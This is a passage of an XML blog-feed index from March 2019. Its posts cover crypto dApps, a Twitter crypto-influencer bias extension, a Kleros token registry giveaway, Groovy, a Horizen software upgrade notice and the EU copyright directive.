://www.computerworld.com/article/3379186/android-notifications.html&amp;ct=ga&amp;cd=CAEYCyoUMTIwNzA3NDk0MjYxMjQ2NTI0ODIyGmIyMmYxNjAxMGEyYTM1MmY6Y29tOmVuOlVT&amp;usg=AFQjCNEMaApFEu1_ixBt58PqgJVlkF6Zhg</link><link>https://www.google.com/alerts/share?hl=en&amp;gl=US&amp;ru=https://www.computerworld.com/article/3379186/android-notifications.html&amp;ss=gp&amp;rt=This+should+be+the+future+of+Android+notifications&amp;cd=KhQxMjA3MDc0OTQyNjEyNDY1MjQ4MjIaYjIyZjE2MDEwYTJhMzUyZjpjb206ZW46VVM&amp;ssp=AMJHsmX1Z1CMg_P6wVOrpKk5EoTHOSmZHQ</link><link>https://www.google.com/alerts/share?hl=en&amp;gl=US&amp;ru=https://www.computerworld.com/article/3379186/android-notifications.html&amp;ss=fb&amp;rt=This+should+be+the+future+of+Android+notifications&amp;cd=KhQxMjA3MDc0OTQyNjEyNDY1MjQ4MjIaYjIyZjE2MDEwYTJhMzUyZjpjb206ZW46VVM&amp;ssp=AMJHsmX1Z1CMg_P6wVOrpKk5EoTHOSmZHQ</link><link>https://www.google.com/alerts/share?hl=en&amp;gl=US&amp;ru=https://www.computerworld.com/article/3379186/android-notifications.html&amp;ss=tw&amp;rt=This+should+be+the+future+of+Android+notifications&amp;cd=KhQxMjA3MDc0OTQyNjEyNDY1MjQ4MjIaYjIyZjE2MDEwYTJhMzUyZjpjb206ZW46VVM&amp;ssp=AMJHsmX1Z1CMg_P6wVOrpKk5EoTHOSmZHQ</link><link>https://www.google.com/alerts/feedback?ffu=https://www.computerworld.com/article/3379186/android-notifications.html&amp;source=alertsmail&amp;hl=en&amp;gl=US&amp;msgid=MTIwNzA3NDk0MjYxMjQ2NTI0ODI&amp;s=AB2Xq4h6qdqZ1bo0wtoftyf--8ToxLECti9fMsw</link><link>https://www.google.com/url?rct=j&amp;sa=t&amp;url=https://www.engadget.com/2019/03/26/firefox-lockbox-for-android/&amp;ct=ga&amp;cd=CAEYDCoUMTIwNzA3NDk0MjYxMjQ2NTI0ODIyGmIyMmYxNjAxMGEyYTM1MmY6Y29tOmVuOlVT&amp;usg=AFQjCNER4HlrHH4_VvHE1iAJrvylFk2qbA</link><link>https://www.google.com/url?rct=j&amp;sa=t&amp;url=https://9to5google.com/2019/03/26/firefox-lockbox-android-autofill-passwords/&amp;ct=ga&amp;cd=CAEYBioUMTIwNzA3NDk0MjYxMjQ2NTI0ODIyGmIyMmYxNjAxMGEyYTM1MmY6Y29tOmVuOlVT&amp;usg=AFQjCNHe-8L9MZfVHhVpag1JxdF8VVwhyQ</link><link>https://www.google.com/url?rct=j&amp;sa=t&amp;url=https://www.ghacks.net/2019/03/26/first-look-at-firefox-lockbox-for-android/&amp;ct=ga&amp;cd=CAEYBioUMTIwNzA3NDk0MjYxMjQ2NTI0ODIyGmIyMmYxNjAxMGEyYTM1MmY6Y29tOmVuOlVT&amp;usg=AFQjCNHhAnbX4WdBtoySlm070Wtov1tGMA</link><link>https://www.google.com/url?rct=j&amp;sa=t&amp;url=https://thenextweb.com/apps/2019/03/26/mozilla-just-launched-an-android-password-manager/&amp;ct=ga&amp;cd=CAEYBioUMTIwNzA3NDk0MjYxMjQ2NTI0ODIyGmIyMmYxNjAxMGEyYTM1MmY6Y29tOmVuOlVT&amp;usg=AFQjCNH0cbXeA3RiEM1uFev78voTNa4S9w</link><link>http://news.google.com/news/story?ncl=https://www.engadget.com/2019/03/26/firefox-lockbox-for-android/&amp;hl=en&amp;geo=US</link><link>https://www.google.com/alerts/share?hl=en&amp;gl=US&amp;ru=https://www.engadget.com/2019/03/26/firefox-lockbox-for-android/&amp;ss=gp&amp;rt=Firefox+Lockbox+provides+access+to+your+passwords+on+Android&amp;cd=KhQxMjA3MDc0OTQyNjEyNDY1MjQ4MjIaYjIyZjE2MDEwYTJhMzUyZjpjb206ZW46VVM&amp;ssp=AMJHsmW-1fItJ1YiHjOOPUvH6wcq1v8usA</link><link>https://www.google.com/alerts/share?hl=en&amp;gl=US&amp;ru=https://www.engadget.com/2019/03/26/firefox-lockbox-for-android/&amp;ss=fb&amp;rt=Firefox+Lockbox+provides+access+to+your+passwords+on+Android&amp;cd=KhQxMjA3MDc0OTQyNjEyNDY1MjQ4MjIaYjIyZjE2MDEwYTJhMzUyZjpjb206ZW46VVM&amp;ssp=AMJHsmW-1fItJ1YiHjOOPUvH6wcq1v8usA</link><link>https://www.google.com/alerts/share?hl=en&amp;gl=US&amp;ru=https://www.engadget.com/2019/03/26/firefox-lockbox-for-android/&amp;ss=tw&amp;rt=Firefox+Lockbox+provides+access+to+your+passwords+on+Android&amp;cd=KhQxMjA3MDc0OTQyNjEyNDY1MjQ4MjIaYjIyZjE2MDEwYTJhMzUyZjpjb206ZW46VVM&amp;ssp=AMJHsmW-1fItJ1YiHjOOPUvH6wcq1v8usA</link><link>https://www.google.com/alerts/feedback?ffu=https://www.engadget.com/2019/03/26/firefox-lockbox-for-android/&amp;source=alertsmail&amp;hl=en&amp;gl=US&amp;msgid=MTIwNzA3NDk0MjYxMjQ2NTI0ODI&amp;s=AB2Xq4h6qdqZ1bo0wtoftyf--8ToxLECti9fMsw</link><link>https://www.google.com/url?rct=j&amp;sa=t&amp;url=https://www.businessinsider.com/apple-card-makes-it-harder-to-switch-to-android-2019-3&amp;ct=ga&amp;cd=CAEYByoUMTIwNzA3NDk0MjYxMjQ2NTI0ODIyGmIyMmYxNjAxMGEyYTM1MmY6Y29tOmVuOlVT&amp;usg=AFQjCNGwwV6PLqVfEV-LAvmxZgZYpApc1A</link><link>https://www.google.com/url?rct=j&amp;sa=t&amp;url=https://www.businessinsider.com/apple-card-makes-it-harder-to-switch-to-android-2019-3&amp;ct=ga&amp;cd=CAEYEyoUMTIwNzA3NDk0MjYxMjQ2NTI0ODIyGmIyMmYxNjAxMGEyYTM1MmY6Y29tOmVuOlVT&amp;usg=AFQjCNGwwV6PLqVfEV-LAvmxZgZYpApc1A</link></links><tags><tag>Tech News</tag></tags><images /><indexedAt>2019-03-27T17:42:39Z</indexedAt><publishedAt>2019-03-27T16:12:34Z</publishedAt><reindexedAt>2019-03-27T17:42:39Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>14586394530675744778</blogId><blogName>arabianow</blogName><blogUrl>https://arabianow.wordpress.com</blogUrl><blogRank>1</blogRank><authority>1</authority></post><post><id>2028614768319589161</id><author>admin</author><url>https://blog.cryptoassethome.com/what-makes-dapps-have-upper-hand-in-comparison-to-traditional-apps/</url><title>What makes dApps have upper hand in comparison to traditional apps?</title><text>There has been a debate all over the internet about the application of “real dApps” and what makes a dApp legitimate and not centralized nor stored on a server. In order to create a dApp, a standardized centralized application (app) must follow certain patterns and change its programming code to a certain extent. 
Defining dApps
dApps can be defined as software application or service whose back-end processes are running on a decentralized peer-to-peer network, with no central authority to regulate interactions between users, when the key advantage is the distribution of essential components. With this in mind, these dApps are also backed up by a blockchain, Ethereum being most popular at the moment; however more and more dApps are utilizing Steem and EOS. 


  


Fundamental differences: Apps vs dApps
1. dApps can accumulate utility
The nature of dApps allows them to accumulate utility inside themselves. In order to colorfully depict this, we can take a betting dApp which accumulates EOS, a native cryptocurrency of the platform, which a protocol distributes randomly (using provably fair technology) after a certain bet (ex. Dice rolled under 50) has been placed and won. EOS allows people to place bets free-of-charge, and it allows the platform to transact over half a million bets every minute. 
This is fundamentally different from the National lottery for example which merely serves as a trusted 3rd party medium between participants, but it does not accumulate any utility whatsoever! 
2. dApps never cease to exist
Once a dApp is generated and pushed to the network, it will remain there forever thereby enabling users to easily access it and use its services. The value here lies in dApps’ ability to continuously keep generating specific services that users can utilize. 
Contrastingly, there have been many occasions in which apps simply disappeared from the radar, without any prior notices or announcements to the frustration of their users. dApps can also be “self-destructed” by their creators, but the users will be able to see which dApps have this ability and which don’t. 
3. Reciprocal interactions
Once a dApp is on the Blockchain anyone can interact with it, however many dApps are reciprocally compatible with each other. What this ultimately means is that not only people/users can interact with dApp protocol, but rather other businesses can mutually help each other by imparting services and features thus creating a better and more enhanced environment. 
Let’s put it into perspective: A dApp in development Digix is putting out gold on the blockchain in the form of a token (DGX). Copious other dApps such as WeTrust, Augur, or Qurrex can integrate DGX into their dApps and assist them in upgrading the procedure of gold utilization. 
4. Transparency
It goes without saying that all dApps are open-sourced, meaning that their code is publicly visible. What is even more, all the code’s update is being publicly recorded and stored as well so that the users can see which features are added or changed. Ultimately, other developers can contribute (fork) to the improvement of the code by implementing their modifications. For that reason, most of the dApps have their code integrated via GitHub. 
Worthy mentions
It hasn’t escaped our notice that some dApps (mostly ETH-based which add up to 70% of total dApps) can be very slow in processing transactions per second. Ethereum network, in the best light, can handle about 15 transactions per second. That’s why lately dApps are using other blockchains to build their protocol and platform around. EOS, for example, is great for transactions speed and cost, but various security vulnerabilities have been recorded and detected recently. Steem, on the other hand, is a very good medium for building social networks. 
ETH-based dApps require small fees (gas) for the execution of its tasks. This “cost” stems from Ethereum’s functionality, that is, the necessity of employing several thousand nodes for the completion of a certain task. The small fee is a way to compensate those operating these nodes. 
Some more complex and beneficial dApps cost more to interact with, so the dev team gets rewarded for writing efficient code. 
Being a toddler (and road to becoming a full-grown tech)
Most of the dApps are still toddlers. They are still learning how to walk, talk, and behave. Despite the unfavorable odds, they are learning to speak the fastest (developing and upgrading code). 
dApp technology gained popularity in 2018, and it is estimated that the following years will bring much-anticipated prosperity and adaptability. The technology is being used on a daily basis by millions of users worldwide, and dev teams are working day and night in order to build more sophisticated protocols and environments essential for evolving the technology and making it widely adopted. 
If you had any other feature in mind, don’t hesitate to drop a comment below or contact us. On the other hand, if you want to share a thoroughgoing dApp that we eluded our attention, don’t hesitate to contact us. 
The guest author for the above article is CoinPoint. (Syndicated from Medium) 
CoinPoint is a premium marketing agency, founded in 2013, working with all scale businesses — from startups, presenting their businesses on a global level, to multinational companies looking for digital transformation &amp; blockchain adoption. The agency stays on top by providing the best services and solutions to its clients around the world.</text><languageCode>en</languageCode><locationCode>jp</locationCode><coordinates /><links /><tags><tag>EOS</tag></tags><images /><indexedAt>2019-03-27T16:12:52Z</indexedAt><publishedAt>2019-03-27T16:10:53Z</publishedAt><reindexedAt>2019-03-27T16:12:52Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>1904825589999397896</blogId><blogName>Crypto Asset Home</blogName><blogUrl>https://blog.cryptoassethome.com</blogUrl><blogRank>1</blogRank><authority>1</authority></post><post><id>7099020538486477827</id><author>Geronimo Diaz</author><url>https://buscandocryptodinero.com/2019/03/27/conoce-hacia-que-proyecto-esta-parcializado-tu-cripto-influencer-favorito/</url><title>CONOCE HACIA QUE PROYECTO ESTÁ PARCIALIZADO TU CRIPTO-INFLUENCER FAVORITO</title><text>El desarrollador Luke Childs ha levantado el interés de la criptocomunidad al difundir una aplicación que destaca la parcialidad de cada usuario cripto-influencer de Twitter respecto a cuatro proyectos de criptomonedas. 
La aplicación, llamada “Coinflict of Interest” y que funciona como una extensión de los exploradores Chrome y Firefox, hace un juego de palabras entre “Coin” con “Conflict” (moneda y conflicto), que está relacionado con la frase “Conflicto de intereses“, usada para describir que una persona o institución no puede ser realmente objetiva ante algunas funciones o situaciones que vayan en contra de sus intereses personales. 
La extensión funciona con información de hive.one (conocida anteriormente como cryptoinfluencer.io), portal que maneja un ranking de los usuarios más influyentes del ecosistema de criptomonedas en Twitter, para obtener datos de la afinidad de los seguidores de un usuario a cierto proyecto de criptoactivo. 
Hasta el momento, la extensión muestra la afinidad a las comunidades de Bitcoin, Ethereum, Ripple y Bitcoin Cash. La información se muestra en el perfil de cada cripto-influencer o pasando el cursor por la cara del usuario en el timeline. 




 



Luke Childs@lukechilds

 · 25 mar. 2019




En respuesta a @lukechilds

Bias information is displayed inside the users profile card that pops up when you hover over their avatar. 

 















 

Luke Childs@lukechilds




It’s also displayed under a users bio on their profile. pic.twitter.com/hW8VOd24Bg 





23
14:05 – 25 mar. 2019
Información y privacidad de Twitter Ads


 













Ver los otros Tweets de Luke Childs














El desarrollador explica haberse motivado a producir está herramienta por la dificultad que para él representa diferenciar si la información difundida por alguien en Twitter es genuinamente positiva o negativa, o si se comparte por motivaciones privadas no reveladas. Con esta extensión espera, entonces, facilitar la verificación de información según los sesgos de quien la difunde. 
En el hilo donde difundió su aplicación, Childs explica que más que reflejar la parcialidad de cada cripto influencer, la extensión revela la segmentación por afinidad a cierta criptomoneda de sus seguidores; información que fácilmente puede ser relacionada con lo que el influencer expresa con más frecuencia. 
Varios miembros de la comunidad han mostrado su agrado y apoyo a la herramienta. Incluso, un usuario bifurcó la aplicación y la modificó para reflejar cuando un cripto-influencer es seguido por una mayoría de bitcoiners o shitcoiners. 
  
Imagen destacada via stock.adobe.com 
post original: https://www.criptonoticias.com/entretenimiento/conoce-proyecto-parcializado-criptoinfluencer-favorito-bitcoin-ripple-ethereum/</text><languageCode>es</languageCode><locationCode>jp</locationCode><coordinates /><links><link>http://www.un.org/es/ethics/conflictofinterest.shtml</link><link>https://www.criptonoticias.com/infraestructura/descubre-marcas-personalidades-influyentes-ecosistema-cryptoinfluencer-io</link><link>https://www.github.com/lukechilds/coinflict-of-interest</link><link>https://www.criptonoticias.com/?s=bitcoin</link><link>https://www.criptonoticias.com/?s=ripple</link><link>https://www.twitter.com/lukechilds</link><link>https://www.twitter.com/lukechilds/status/1110271556414926848</link><link>https://www.twitter.com/_/status/1110271554930118656</link><link>https://www.twitter.com/lukechilds/status/1110271556414926848/photo/1</link><link>https://www.twitter.com/lukechilds</link><link>https://www.t.co/hW8VOd24Bg</link><link>https://www.twitter.com/intent/like?tweet_id=1110271559694995467</link><link>https://www.twitter.com/lukechilds/status/1110271559694995467</link><link>https://support.twitter.com/articles/20175256</link><link>https://www.twitter.com/lukechilds/status/1110271559694995467/photo/1</link><link>https://www.twitter.com/lukechilds/status/1110271553457905664</link><link>https://www.twitter.com/wiz/status/1110578898314522627</link><link>https://stock.adobe.com/images/twitter-social-network/128279643?prev_url=detail</link><link>https://www.criptonoticias.com/entretenimiento/conoce-proyecto-parcializado-criptoinfluencer-favorito-bitcoin-ripple-ethereum</link></links><tags><tag>Noticias</tag></tags><images /><indexedAt>2019-03-27T16:16:01Z</indexedAt><publishedAt>2019-03-27T16:10:24Z</publishedAt><reindexedAt>2019-03-27T16:16:01Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>11368941196431826393</blogId><blogName>buscandoCryptoDinero.com</blogName><blogUrl>https://buscandocryptodinero.com</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>17411702472244753521</id><author>Stuart James</author><url>http://blog.kleros.io/submit-tokens-for-a-share-of-1-million-pnk/</url><title>Submit Tokens to the Kleros T2CR For a Share of 1 Million PNK</title><text>Our token curated registry is off to a flying start. To incentivize even more submissions, we're giving away 1 Million PNK to token submitters. Read on to find out how you can get your own PNK! Submit and Claim Your Share of The PNKThe token curated registry requires tokens, that's a given. So far, we've seen a healthy amount of submissions from the community and various projects. Now, we're offering an incentive for further submissions from the community. You will receive PNK in accordance with the amount of valid tokens submitted to the list.  For example, if you make 10 valid submissions from a total of 500 valid submissions, you would receive 20k PNK.  What Constitutes a Valid Submission? A token must be accepted to the list (pending challenges and juror decision if necessary).  Here we can see a registered token in the form of DAOstack. Notice the blue registered tick to the right of the token name. Once a token has been successfully registered on the list, it will look much like the one above. Only tokens which are in this state at the end of the three month period will be eligible for the PNK payout.  How Do I Submit a Token? First you want to head over to tokens.kleros.io  Follow the instructions in the image below to submit a token to the list. First click on the 'Submit Token' button in the top right hand corner to be greeted with a pop up window as shown below.  Fill in the required info as stated above. Double check the logo is a transparent PNG and hit 'submit' paying the token listing deposit. Upon submission, your listing should look something like the token below. The submission is not yet accepted to the Token Curated List. Upon clicking on your submission you will see the info displayed below including the challenge period. This is the time allotted for other users to challenge the listing in the case of incorrect data or logo format. Click on your submission to see the current status.Once this challenge deadline has passed, the token status will change to 'Registered' as shown below. Remember, users can also challenge the submission, which will then send it to trial to be arbitrated on by Kleros jurors. They will make the final decision based on any evidence given if the token should be listed or not. A registered token on the TCR. This means it's now possible to request an Ethfinex badge. Once a token is successfully listed, the status will change to 'Registered' as seen above. These tokens may still be challenged and sent to trial, but assuming the status is 'Registered' at the end of the incentive period, the token will be eligible for the PNK payout.  Where Can I Find Out More?Click on the link below for a deeper explanation of the TCR  https://blog.kleros.io/kleros-ethfinex-tcr-an-explainer/ and go straight to the list by clicking below.   Join Kleros!Join the community chat on Telegram. Visit our website. Follow us on Twitter. Join our Slack for developer conversations. Contribute on Github.</text><languageCode>en</languageCode><locationCode /><coordinates /><links><link>https://blog.kleros.io/kleros-ethfinex-tcr-an-explainer</link><link>https://www.goo.gl/forms/GKRWpVh0FoAkE4ro1</link><link>https://www.t.me/kleros</link><link>https://www.kleros.io/</link><link>https://www.twitter.com/Kleros_io</link><link>https://slack.kleros.io/</link><link>https://www.github.com/kleros</link></links><tags><tag>General</tag><tag>Getting Started</tag></tags><images /><indexedAt>2019-03-27T17:31:32Z</indexedAt><publishedAt>2019-03-27T16:07:10Z</publishedAt><reindexedAt>2019-03-27T17:31:32Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>7667116758386661007</blogId><blogName>The Blockchain Dispute Resolution Layer</blogName><blogUrl>http://blog.kleros.io</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>15313969666422881774</id><author>Tucker Pelletier</author><url>https://dzone.com/articles/statically-compiled-groovy-or-time-to-give-groovy?utm_medium=feed&amp;utm_source=feedpress.me&amp;utm_campaign=Feed%3A+dzone</url><title>Statically Compiled Groovy: Give Groovy a Chance</title><text>One of the biggest complaints I hear about Groovy is that it is a dynamically compiled language — not that any dynamic language or platform could ever become popular or useful (Python, JS/node, Ruby, and more). However, Groovy isn't just a dynamic language; it's an optionally typed language. This means you can mix and match the power of a dynamic language with that of a statically compiled language.   
Another complaint I often hear once people realize that Groovy can be statically compiled using an annotation at the class or method level is that it feels bolted on. To address the second concern, I recently released a Gradle plugin called Enterprise Groovy, which can be found on my GitHub page.</text><languageCode>en</languageCode><locationCode>sg</locationCode><coordinates /><links><link>https://virtualdogbert.github.io/enterprise-groovy-plugin</link></links><tags><tag>java</tag><tag>opinion</tag><tag>groovy</tag><tag>jvm</tag><tag>jvm languages</tag><tag>statically typed</tag><tag>statically compiled</tag></tags><images /><indexedAt>2019-03-27T16:46:42Z</indexedAt><publishedAt>2019-03-27T16:01:03Z</publishedAt><reindexedAt>2019-03-27T16:46:42Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>1927753816387312054</blogId><blogName>DZone.com Feed</blogName><blogUrl>https://dzone.com</blogUrl><blogRank>4</blogRank><authority>297</authority></post><post><id>7291598895480733107</id><author>Horizen News</author><url>https://blog.zencash.com/mandatory-software-upgrade-zen-2-0-17/</url><title>Mandatory Software Upgrade: ZEN 2.0.17</title><text>New ZEN software (2.0.17) soon available for download.

	 A new version of ZEN (2.0.17) is scheduled for release on the 8th of April. All exchanges, mining pools, node operators, and full node wallet users must upgrade to ZEN 2.0.17 prior to block #505212, which will occur around the 26th of April. 
ZEN 2.0.17 replaces the current version 2.0.16, which is set to deprecate (no longer run). 
The focus of this version is the introduction of the transaction confirmation finality RPC method, the blockmaxcomplexity parameter, and the fix of the Horizen shielded address display bug. 
In particular, the transaction confirmation finality RPC method gives an indication of the amount of blocks that need to be mined to revert a transaction. This method also considers eventual existing forks, and it’s in line with the system implemented today. 
The blockmaxcomplexity parameter limiting transaction inputs for GetBlockTemplate brings improvements to speed up execution time of the GetBlockTemplate RPC call. 
Finally, with this software release, we are implementing the fix of the Horizen shielded address display bug, that could cause a potential error in the displayed amount of available funds in shielded sprout addresses. 
The next software upgrade (2.1.0) will bring the full implementation of Sapling and other features to be announced. 
Please update your ZEN software before the 26th of April. The new 2.0.17 version will be available at https://github.com/ZencashOfficial/zen/releases/latest or through the APT repository on the 8th of April. 
UPDATES ON ZEN 2.0.17

TX confirmation finality RPC method;
blockmaxcomplexity parameter limiting tx inputs for GetBlockTemplate speedup;
fix of the Horizen shielded address display bug.

What happens if you do not upgrade before the 26th of April? 

Exchanges and Partners: you will not be able to access your funds until you upgrade to the latest version.
Pool operators: ZEND will not work and thus you will not be able to mine ZEN until you upgrade to ZEN 2.0.17. 
Node operators: ZEND will not work and thus you will not be eligible to earn ZEN until you upgrade to ZEN 2.0.17.
Full node wallet users (Swing wallet, Sphere by Horizen): you will not be able to access your funds until you upgrade to the latest wallet version.

Additional notices will be shared when the release is available. 
Please let us know if you have any questions. Thank you for your continued support! 

RESOURCES:
Horizen Website  
Horizen Blog 
Horizen Twitter 
Horizen Reddit 
Horizen Facebook Page 
Horizen YouTube Channel 
Horizen Telegram 
Horizen Discord 
Horizen Github 
Horizen Forum 
Horizen on Bitcointalk 
Horizen Roadmap 
Horizen Block Explorer 
Horizen Secure Nodes 
Horizen Super Nodes 
Flagship App: Horizen by Sphere 
  


	
The post Mandatory Software Upgrade: ZEN 2.0.17 appeared first on Horizen.</text><languageCode>en</languageCode><locationCode /><coordinates /><links><link>https://www.github.com/ZencashOfficial/zen/releases/latest</link><link>https://horizen.global/</link><link>https://www.twitter.com/horizenglobal</link><link>https://www.reddit.com/r/horizen</link><link>https://www.facebook.com/horizenglobal</link><link>https://www.youtube.com/c/horizen</link><link>https://www.t.me/horizencommunity</link><link>https://www.discord.gg/mGn4m3</link><link>https://www.github.com/ZencashOfficial</link><link>https://forum.horizen.global/</link><link>https://www.bitcointalk.org/index.php?topic=2047435.0</link><link>https://horizen.global/roadmap</link><link>https://explorer.zensystem.io/</link><link>http://horizen.global/securenodes</link><link>http://horizen.global/supernodes</link><link>https://horizen.global/spherebyhorizen</link></links><tags><tag>English</tag><tag>news</tag><tag>software update</tag></tags><images /><indexedAt>2019-03-27T16:05:38Z</indexedAt><publishedAt>2019-03-27T16:00:17Z</publishedAt><reindexedAt>2019-03-27T16:05:38Z</reindexedAt><inlinksCount>1</inlinksCount><blogId>15541336197471977621</blogId><blogName>Horizen</blogName><blogUrl>https://blog.zencash.com</blogUrl><blogRank>2</blogRank><authority>85</authority></post><post><id>1313752985510694974</id><author>.</author><url>http://greece-salonika.blogspot.com/2019/03/blog-post_378.html</url><title>Αλλάζουν τα πάντα για τα πνευματικά δικαιώματα στο διαδίκτυο - Όλες οι αλλαγές που εγκρίθηκαν</title><text>Η ευρύτατη επιστημονική διαφωνία με μία αμφιλεγόμενη νομοθεσία δεν είναι κάτι που συμβαίνει συχνά. Κι όταν συμβαίνει, οι νομοθέτες οφείλουν να το λάβουν υπόψιν τους...    Στην περίπτωση της νέας Οδηγίας για τα Πνευματικά Δικαιώματα, που ψηφίστηκε την Τρίτη από το Ευρωπαϊκό Κοινοβούλιο, συνέβη ακριβώς το αντίθετο. Η πλειοψηφία των ευρωβουλευτών μας παραμέρισαν τις προειδοποιήσεις σύσσωμης της επιστημονικής κοινότητας του Ιντερνετ και άνοιξαν την πόρτα για να μπουν τα αμφιλεγόμενα άρθρα 11 και 13 στην καθημερινή, ευρωπαϊκή ζωή μας.  Τα δύο επίμαχα άρθρα της νέας Οδηγίας ναι μεν έχουν καλές προθέσεις, αλλά η εφαρμογή τους, σύμφωνα με τις επιστημονικές προειδοποιήσεις, θα προκαλέσει εμπλοκή στη θεμελιώδη δυναμική του Ιντερνετ, με αποτέλεσμα σοβαρούς περιορισμούς στην ελευθερία της έκφρασης και της πρόσβασης στην πληροφορία στην Ευρώπη.  Η νέα Οδηγία υποχρεώνει τις διαδικτυακές πλατφόρμες να φιλτράρουν το περιεχόμενο που ανεβάζουν οι χρήστες τους, για να βεβαιωθούν ότι ο κάθε χρήστης έχει τα πνευματικά δικαιώματα αυτού που ανεβάζει, ούτως ώστε να μην μπλέξουν νομικά. Τα meme μπορεί να εξαιρούνται, αλλά δεν σώζουν την κατάσταση.  Οι ευρωβουλευτές μας πιστεύουν ότι η νέα Οδηγία για τα Πνευματικά Δικαιώματα είναι ένα σημαντικό βήμα στην προσπάθειά τους να χαλιναγωγήσουν τους αμερικανικούς γίγαντες της Τεχνολογίας, στους οποίους αποδίδουν την “παραπληροφόρηση” που οδηγεί σε ¨λανθασμένες ερμηνείες” της Οδηγίας και  επιστημονικές προειδοποιήσεις για τους κινδύνους που εγκυμονεί.  Ομως η Οδηγία είναι ξεκάθαρη και δεν αφήνει περιθώρια για παρερμηνείες. Το περιεχόμενο των χρηστών θα πρέπει να φιλτράρεται στην Ευρώπη. Κι όχι μόνον από το YouTube. Κι εδώ ακριβώς είναι το πρόβλημα. Το Ιντερνετ δεν είναι το YouTube. Το Ιντερνετ είμαστε όλοι εμείς οι ενεργητικοί χρήστες, που κυκλοφορούμε, ποστάρουμε, λινκάρουμε και μοιραζόμαστε την πληροφορία με το περιβάλλον μας.  Στην εποχή των αυτόματων φίλτρων, όπως έγραψε το Wired, όλοι εμείς, οι ενεργητικοί χρήστες, είμαστε ένοχοι μέχρι αποδείξεως του εναντίου. Κι όπως απεδείχθη στη Νέα Ζηλανδία, το πρόβλημα του πώς χειριζόμαστε εμείς, οι άνθρωποι, τα εργαλεία που έχουμε στην διάθεσή μας, δεν λύνεται με αυτόματα φίλτρα. Από πλευράς πνευματικών δικαιωμάτων, η ζωντανή μετάδοση της σφαγής ήταν απολύτως νόμιμη.   Αυτές είναι οι αλλαγές που ψηφίστηκαν – Οι διαδικτυακές πλατφόρμες πλέον υπεύθυνες για το περιεχόμενο που αναρτούν οι χρήστες!  – Συγκεκριμένες κατηγορίες διαδικτυακού υλικού, όπως τα «memes» και τα αρχεία GIF, εξαιρούνται από την οδηγία  – Οι σύνδεσμοι προς ειδησεογραφικά άρθρα, οι οποίοι συνοδεύονται από «μεμονωμένες λέξεις ή πολύ σύντομα αποσπάσματα» μπορούν να διαμοιράζονται ελεύθερα  – Οι δημοσιογράφοι θα πρέπει να λαμβάνουν μερίδιο των εσόδων που αποκομίζουν οι εκδότες για τη χρήση δικαιωμάτων πνευματικής ιδιοκτησίας  – Οι νεοφυείς επιχειρήσεις θα υπόκεινται σε ελαφρύτερες υποχρεώσεις  – Οι δημιουργοί και οι δημοσιογράφοι θα μπορούν να διαπραγματευτούν με τους γίγαντες του διαδικτύου χάρη στη συμφωνία, η οποία διασφαλίζει και την ελευθερία της έκφρασης.  Το κείμενο διευκρινίζει επίσης ότι η ανάρτηση έργων σε διαδικτυακές εγκυκλοπαίδειες με μη εμπορικό τρόπο, όπως για παράδειγμα στη Wikipedia, ή πλατφόρμες ανοιχτού («open source») λογισμικού, όπως το GitHub, θα εξαιρούνται αυτόματα. Οι καινοφυείς πλατφόρμες θα υπόκεινται σε ελαφρύτερες υποχρεώσεις από αυτές που θα έχουν οι πιο γνωστές.  Δήλωση του εισηγητή AxelVoss «Αυτή η οδηγία είναι ένα σημαντικό βήμα για την επανόρθωση μιας κατάστασης που έχει επιτρέψει σε ένα μικρό αριθμό εταιρειών να αποκομίσουν τεράστια ποσά χωρίς να ανταμείψουν όπως πρέπει τους χιλιάδες δημιουργούς και δημοσιογράφους στη δουλειά των οποίων στηρίζονται.  Ταυτόχρονα, το κείμενο που υιοθετήθηκε περιέχει μεγάλο αριθμό διατάξεων που εγγυώνται ότι το διαδίκτυο θα παραμείνει χώρος ελεύθερης έκφρασης. Αυτές οι διατάξεις δεν ήταν από μόνες τους αναγκαίες γιατί η οδηγία δε θα δημιουργήσει καινούρια δικαιώματα για τους κατόχους πνευματικών δικαιωμάτων. Αφουγκραστήκαμε ωστόσο τις ανησυχίες που εκφράστηκαν και επιλέξαμε να εγγυηθούμε εκ νέου την ελευθερία της έκφρασης. Tα ‘memes’, τα ‘GIFs’, τα ‘αποκόμματα’ προστατεύονται τώρα περισσότερο από ποτέ.  Είμαι επίσης χαρούμενος που το σημερινό κείμενο της συμφωνίας δίνει ιδιαίτερη σημασία στην προστασία των καινοφυών επιχειρήσεων. Οι κορυφαίες εταιρείες του αύριο είναι οι καινοφυείς επιχειρήσεις του σήμερα και η ποικιλομορφία που χρειαζόμαστε για αυτό στηρίζεται σε μια μεγάλη δεξαμενή καινοτόμων, δυναμικών, νεανικών επιχειρήσεων.  Έχουμε μια οδηγία που προστατεύει το βιοπορισμό των ανθρώπων, διασφαλίζει τη δημοκρατία υπερασπιζόμενη ένα ποικίλο τοπίο μέσων ενημέρωσης, εδραιώνει την ελευθερία της έκφρασης και ενθαρρύνει τις καινοφυείς επιχειρήσεις και την τεχνολογική ανάπτυξη. Βοηθά έτσι να ετοιμάσουμε το διαδίκτυο του μέλλοντος, ένα χώρο που ωφελεί όλους, όχι μόνο λίγους ισχυρούς».</text><languageCode>el</languageCode><locationCode>cy</locationCode><coordinates /><links><link>https://3.bp.blogspot.com/-oQhP0i75xMA/XJthiMd9_FI/AAAAAAAEwGk/0yXK-1Vw6_4iZRkxLZyOU4VZcN_79aQ6QCLcBGAs/s1600/eurokoinoboylio_internet_arthro13.jpg</link></links><tags><tag>ΔΙΕΘΝΗ</tag><tag>ΕΙΔΗΣΕΙΣ</tag></tags><images /><indexedAt>2019-03-27T18:22:37Z</indexedAt><publishedAt>2019-03-27T16:00:00Z</publishedAt><reindexedAt>2019-03-27T18:22:37Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>856412730591381270</blogId><blogName>Greece-Salonika| Ενημέρωση και Άποψη</blogName><blogUrl>http://greece-salonika.blogspot.com</blogUrl><blogRank>9</blogRank><authority>326</authority></post><post><id>15281782123943640426</id><author>CHENG</author><url>http://peichengnote.blogspot.com/2019/03/note-daily-note-2019-03-27.html</url><title>[note] Daily Note 2019-03-27</title><text>Daily Note 2019-03-27 # of today's note: 20    2019-03-27 01:26:21   美國派遣兩艘戰艦進入台灣海峽 - 中國 - RFI
